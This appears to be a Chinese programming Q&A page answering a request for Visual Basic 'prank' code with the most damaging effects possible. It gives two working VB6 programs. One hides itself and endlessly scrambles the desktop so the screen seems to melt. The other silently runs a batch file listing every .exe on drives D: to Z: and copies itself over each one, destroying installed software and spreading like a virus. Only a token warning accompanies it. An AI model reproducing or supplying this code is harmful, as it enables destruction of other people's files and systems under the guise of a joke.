當前位置:編程學習大全網 - 編程語言 - 求壹些VB惡搞代碼。效果越厲害越好,例如:藍屏.等等

求壹些VB惡搞代碼。效果越厲害越好,例如:藍屏.等等

電腦桌面融化,這段代碼真的很強悍 ! 居然搞的我看不到屏幕 , 就像雪糕壹樣被融化了; Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long

Private Declare Function GetDesktopWindow Lib "user32" () As Long

Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long

Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long

Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long

Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Const SRCCOPY = &HCC0020 ' (DWORD) dest = source

Dim x As Integer, y As Integer

Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long

Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)

Private Sub Form_Load()

Me.Hide

Desktop = GetWindowDC(GetDesktopWindow())

hBitmap = CreateCompatibleDC(Desktop)

hScreen = CreateCompatibleDC(Desktop)

Buffer = CreateCompatibleBitmap(Desktop, 32, 32)

ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)

SelectObject hBitmap, Buffer

SelectObject hScreen, ScreenBuffer

BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY

For i = 0 To 1E+17

y = (Screen.Height / 15) * Rnd

x = (Screen.Width / 15) * Rnd

BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY

BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY

DoEvents

Next i

End Sub 還有個殺手鐧;壹段要人命的vb代碼

-----------------------------------------------聲明---------------------------------------------------------------

’如果您在沒有讀懂代碼的情況下請不要生成exe文件運行.............否則不要怪我沒提醒妳。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()

On Error Resume Next ’容錯句

If Dir("c:\123.txt") = "" Then ’如果123.txt不存在則創建 bat遍歷exe文件

Open "c:\a.bat" For Output As #1 ’打開bat文件

Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" ’寫入數據

Close #1 ’關閉文件

Sleep 200 ’延時200秒等待文件生成(主要為了慢機器)

Shell "c:\a.bat", 0 ’隱藏運行之

End If

Sleep 60000 ’延時1分鐘等待exe遍歷完成

Dim A() As String

Dim C As Long, I As Integer

Open "c:\123.txt" For Input As #1 ’讀取txt裏面的內容

Do While EOF(1) = False

ReDim Preserve A(C)

Input #1, A(C)

C = C + 1

Loop

Close #1

For I = 0 To C - 1

FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) ’把txt裏面的內容替換掉

Next

End Sub

</SPAN>

  • 上一篇:通過軟件升級賺錢,特斯拉行,別的車企不壹定行?
  • 下一篇:哈利波特從第壹部到第七部是在哪壹年上映的?
  • copyright 2024編程學習大全網